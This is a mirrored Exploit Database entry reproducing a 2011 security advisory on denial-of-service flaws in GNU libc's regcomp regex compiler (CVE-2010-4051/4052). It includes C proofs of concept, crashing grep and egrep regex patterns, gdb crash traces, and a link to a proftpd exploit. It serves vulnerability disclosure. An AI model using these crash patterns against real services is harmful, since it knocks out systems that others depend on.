GNU libc/regcomp(3) – Multiple Vulnerabilities

• Exploit Database
• 31 阅读

• 作者： Maksymilian Arciemowicz
  日期： 2011-01-07
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/15935/

• // source: http://securityreason.com/securityalert/8003
  
  -----BEGIN PGP SIGNED MESSAGE-----
  Hash: SHA1
  
  [ GNU libc/regcomp(3) Multiple Vulnerabilities ]
  
  Author: Maksymilian Arciemowicz
  http://securityreason.com/
  http://cxib.net/
  Date:
  - - Dis.: 01.10.2010
  - - Pub.: 07.01.2011
  
  CERT: VU#912279
  CVE:
  CVE-2010-4051
  CVE-2010-4052
  
  Affected (tested):
  - - Ubuntu 10.10
  - - Slackware 13
  - - Gentoo 18.10.2010
  - - FreeBSD 8.1 (grep(1))
  - - NetBSD 5.0.2 (grep(1))
  
  Original URL:
  http://securityreason.com/achievement_securityalert/93
  
  Exploit for proftpd:
  http://cxib.net/stuff/proftpd.gnu.c
  
  
  - --- 0.Description ---
  The GNU C library is used as the C library in the GNU system and most
  systems with the Linux kernel.
  
  # define RE_DUP_MAX (0x7fff)
  
  regcomp() is used to compile a regular expression into a form that is
  suitable for subsequent regexec() searches.
  
  
  - --- 1. RE_DUP_MAX overflow ---
  The main problem exists in regcomp(3) function of GNU libc implementation.
  Let`s try understand..
  
  - ---
  int
  regcomp (preg, pattern, cflags)
  regex_t *__restrict preg;
  const char *__restrict pattern;
  int cflags;
  {
  - ---
  
  if we use '{', token type will be OP_OPEN_DUP_NUM.
  
  - ---
  /* This function parse repetition operators like "*", "+", "{1,3}" etc.
  */
  
  static bin_tree_t *
  parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa,
  re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err)
  {
  bin_tree_t *tree = NULL, *old_tree = NULL;
  int i, start, end, start_idx = re_string_cur_idx (regexp);
  re_token_t start_token = *token;
  
  if (token->type == OP_OPEN_DUP_NUM)
  {
  end = 0;
  start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE
  - ---
  
  let`s see fetch_number =>
  
  - ---
  static int
  fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax)
  {
  int num = -1;
  unsigned char c;
  while (1)
  {
  fetch_token (token, input, syntax);
  c = token->opr.c;
  if (BE (token->type == END_OF_RE, 0))
  return -2;
  if (token->type == OP_CLOSE_DUP_NUM || c == ',')
  break;
  num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2)
  ? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0'));
  num = (num > RE_DUP_MAX) ? -2 : num;
  }
  return num;
  }
  - ---
  
  now see regex.h to know, what value have RE_DUP_MAX
  
  - ---
  /* Maximum number of duplicates an interval can allow. Some systems
  (erroneously) define this in other header files, but we want our
  value, so remove any previous define. */
  # ifdef RE_DUP_MAX
  # undef RE_DUP_MAX
  # endif
  /* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */
  # define RE_DUP_MAX (0x7fff)
  #endif
  - ---
  
  calc_eclosure_iter() will call to calc_eclosure_iter() match time. and
  crash in malloc(3). Simple Recursion.
  
  so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR
  if we use more that one time '{' token.
  
  They are many vectors attack
  
  grep(1):
  cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}"
  Segmentation fault
  
  pgrep(1):
  cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}"
  Segmentation fault
  
  bregex from bacula-director-common
  cx@cx64:~$ bregex -f glob-0day.c
  Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,}
  Segmentation fault
  
  whatis(1):
  cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}"
  Segmentation fault
  
  and more like proftpd.
  
  Simple crash for CVE-2010-4051
  (gdb) x/i $rip
  => 0x7ffff7ad3ea2: mov %eax,0x50(%rsp)
  (gdb) x/i $eax
  0x2: Cannot access memory at address 0x2
  (gdb) x/i $rsp
  0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90
  (gdb) x/i 0x50($rsp)
  Cannot access memory at address 0x7fffff5fef08
  
  
  #0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6
  #1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6
  #2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6
  #3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
  #4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
  #5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
  #6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
  #7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
  ...
  
  - ---PoC1---
  #include <regex.h>
  
  int main(){
  regex_t preg;
  
  // char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
  char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051
  
  regcomp (&preg, fmt, REG_EXTENDED);
  
  return 0;
  }
  - ---PoC1---
  
  - --- 2. Stack Exhausion ---
  This issue, may be also use to Denial of Service by stack exhausion
  
  #ls |grep -E ".*{10,}{10,}{111111,}"
  
  - ---PoC2---
  #include <regex.h>
  
  int
  main ()
  {
  regex_t preg;
  
  char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
  // char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051
  
  regcomp (&preg, fmt, REG_EXTENDED);
  
  return 0;
  }
  - ---PoC2---
  
  Such a pattern may lead to allocate a large memory area, or large execution
  time
  
  As we can read in vsftpd/HACKING
  
  - ---
  - do not use libc features that are "complicated"
  and may contain security holes. For example, you probably shouldn't
  try to use regcomp() to compile an untrusted regular expression.
  Regular expressions are just too complicated, and there are many
  different libc's out there.
  - ---
  
  That's true. But the worst implementation of lib C is GNU. There is a huge
  difference using proftpd on NetBSD and Linux
  
  
  - --- 3. Stack Exhausions ---
  Stack Exhausions was found in GNU glibc.
  
  - ---PoC3---
  /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
  - ---PoC3---
  
  when more '+' that more allocated memory. But let's see next one
  
  - ---PoC4---
  cx@cx64:~$ ulimit -m 100000
  cx@cx64:~$ ulimit -v 200000
  cx@cx64:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
  Segmentation fault
  cx@cx64:~$
  - ---PoC4---
  
  the same command like in PoC 3, fails.
  
  (gdb) r "/(.*++++++++++++++++++(\w+))/im" cx
  Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx
  /bin/egrep: Memory exhausted
  
  Add one "+" more
  
  Program exited with code 02.
  (gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
  The program being debugged has been started already.
  Start it from the beginning? (y or n) y
  
  Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
  
  Program received signal SIGSEGV, Segmentation fault.
  __libc_free (mem=0x7ffff720a010) at malloc.c:3709
  3709 if (chunk_is_mmapped(p)) /* release mmapped
  memory. */
  (gdb) bt
  #0 __libc_free (mem=0x7ffff720a010) at malloc.c:3709
  #1 0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600
  #2 0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0,
  
  length=140737488347176, syntax=<value optimized out>) at regcomp.c:823
  #3 0x00007ffff79256de in __re_compile_pattern (pattern=0x0,
  length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231
  
  - ---malloc.c---
  ...
  if (mem == 0) /* free(0) has no effect */
  return;
  
  p = mem2chunk(mem);
  
  #if HAVE_MMAP
  if (chunk_is_mmapped(p))
  ...
  - ---malloc.c---
  
  where
  #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
  
  mem variable (mem=0x7ffff720a010)
  
  (gdb) x/x 0x7ffff720a010
  0x7ffff720a010: 0x00
  
  or
  
  (gdb) x/x 0x7ffff720a010
  0x7ffff720a010: Cannot access memory at address 0x7ffff720a010
  
  (gdb) x/i $rip
  => 0x7ffff78d2c2d <__libc_free+29>: mov -0x8(%rdi),%rsi
  (gdb) x/i $rdi
  0x7ffff7ed3010: Cannot access memory at address 0x7ffff7ed3010
  (gdb) x/i $rsi
  0x0: Cannot access memory at address 0x0
  
  or check this
  
  (gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
  The program being debugged has been started already.
  Start it from the beginning? (y or n) y
  
  Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
  
  Program received signal SIGSEGV, Segmentation fault.
  parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
  token=0x7fffffffe010, syntax=<value optimized out>,
  nest=<value optimized out>, err=<value optimized out>) at
  regcomp.c:2547
  2547 if (elem->token.type == SUBEXP)
  (gdb) x/i $rip
  => 0x7ffff7922644 <parse_expression+756>: cmpb $0x11,0x30(%r15)
  (gdb) x/i $r15
  0x0: Cannot access memory at address 0x0
  
  rax 0x0 0
  rbx 0x61f0c0 6418624
  rcx 0xffffffffffffffa8 -88
  rdx 0x0 0
  rsi 0x61f0c0 6418624
  rdi 0x0 0
  rbp 0x7fffffffe010 0x7fffffffe010
  rsp 0x7fffffffdb70 0x7fffffffdb70
  r8 0xffffffff 4294967295
  r9 0x0 0
  r10 0x4022 16418
  r11 0x246 582
  r12 0x7fffffffdf70 140737488346992
  r13 0x4730ae8 74648296
  r14 0xffffffff 4294967295
  r15 0x0 0
  rip 0x7ffff7922644 0x7ffff7922644 <parse_expression+756>
  
  #0 parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
  token=0x7fffffffe010, syntax=<value optimized out>,
  nest=<value optimized out>, err=<value optimized out>) at
  regcomp.c:2547
  #1 parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>,
  token=0x7fffffffe010, syntax=<value optimized out>,
  nest=<value optimized out>, err=<value optimized out>) at
  regcomp.c:2390
  #2 0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0,
  token=0x0,
  syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163
  #3 parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0,
  syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122
  
  
  if (BE (start > 0, 0))
  {
  tree = elem;
  for (i = 2; i <= start; ++i)
  {
  elem = duplicate_tree (elem, dfa);
  tree = create_tree (dfa, tree, elem, CONCAT);
  if (BE (elem == NULL || tree == NULL, 0))
  goto parse_dup_op_espace;
  }
  
  if (start == end)
  return tree;
  
  /* Duplicate ELEM before it is marked optional. */
  elem = duplicate_tree (elem, dfa);
  old_tree = tree;
  }
  else
  old_tree = NULL;
  
  if (elem->token.type == SUBEXP) <=CRASH HERE
  
  These vulnerabilities are not really dangerous. However, there is the
  possibility to use the DoS attack. An example might be an exploit for
  proftpd. Option 3 allows to exhaustion avaliable memory. In my opinion, the
  GNU should fix the problem.
  
  
  - --- 4. Exploit ---
  proftpd/linux:
  http://cxib.net/stuff/proftpd.gnu.c
  
  
  - --- 5. Greets ---
  Christos Zoulas, US-CERT, sp3x, Infospec
  
  
  - --- 6. Contact ---
  Author: SecurityReason.com [ Maksymilian Arciemowicz ]
  
  Email:
  - - cxib {a\./t] securityreason [d=t} com
  
  GPG:
  - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
  
  http://securityreason.com/
  http://cxib.net/
  -----BEGIN PGP SIGNATURE-----
  Version: GnuPG v1.4.10 (GNU/Linux)
  
  iQIcBAEBAgAGBQJNJk7rAAoJEIO8+dzW5bUwQ/YP/1G4nXltaUdMrdoUu39DM+WJ
  c3f+klSObS/1cDmzBOUte8ddiDdAVbU5yUvjkXkjWwMmxyPregxQxF85iUQ19UIP
  Pekvo5iuI2Uh5hpWQiTxxHiTqEsGeP9XzKz9uLxQPijicD6vjovg8MkS9xEdg6ID
  Q1KW+7tlWY7xgGXTqZux9Y4CsMXqIaWhZlIPJjXDIEipe6HzsKZ0UmRPGEuJGSOh
  0tX8Om6PenFk8XOQSp20HMbK/W2qpc1hPAJ3/mrFO+uPF+8scpw413uhjwiSXOUj
  HUWE/iioFHRuX9eb2mwDuPKNe32OgLPRpcz1nITQVrOXTyfnwUtPrQeRu6h8Dpv7
  RGQtD2GdKknDpkfbUcw0/EHMSbWaJdOWZfFdDAl+rEhS8AwPNK2NJb+7LJ6AQmsM
  VCrJPP5eM1XM9jsQT9tvhyOunvw/HMoH/k+GP34p+FiKDIYI1LF3Gxj/w53gUK3F
  nYLzmoahnqC4WdfUfZizf24PXmH+385JoStrpC4Emn1kuFrM9i/eXQ3xI9My0OXJ
  PFHmVCFx/4iXSi/YNcShZellwi60kFe2OvfJ8BYtG15H+xr0djznLhMqbr2YMisJ
  066WWpfe1hTTJezLjbM8Sa9NnufXnEV+jWUocQ+dsSa2Tecn8DrsGor0Yd6UR6in
  s6+OIVFddtIZrQ6dw+Kk
  =kcIG
  -----END PGP SIGNATURE-----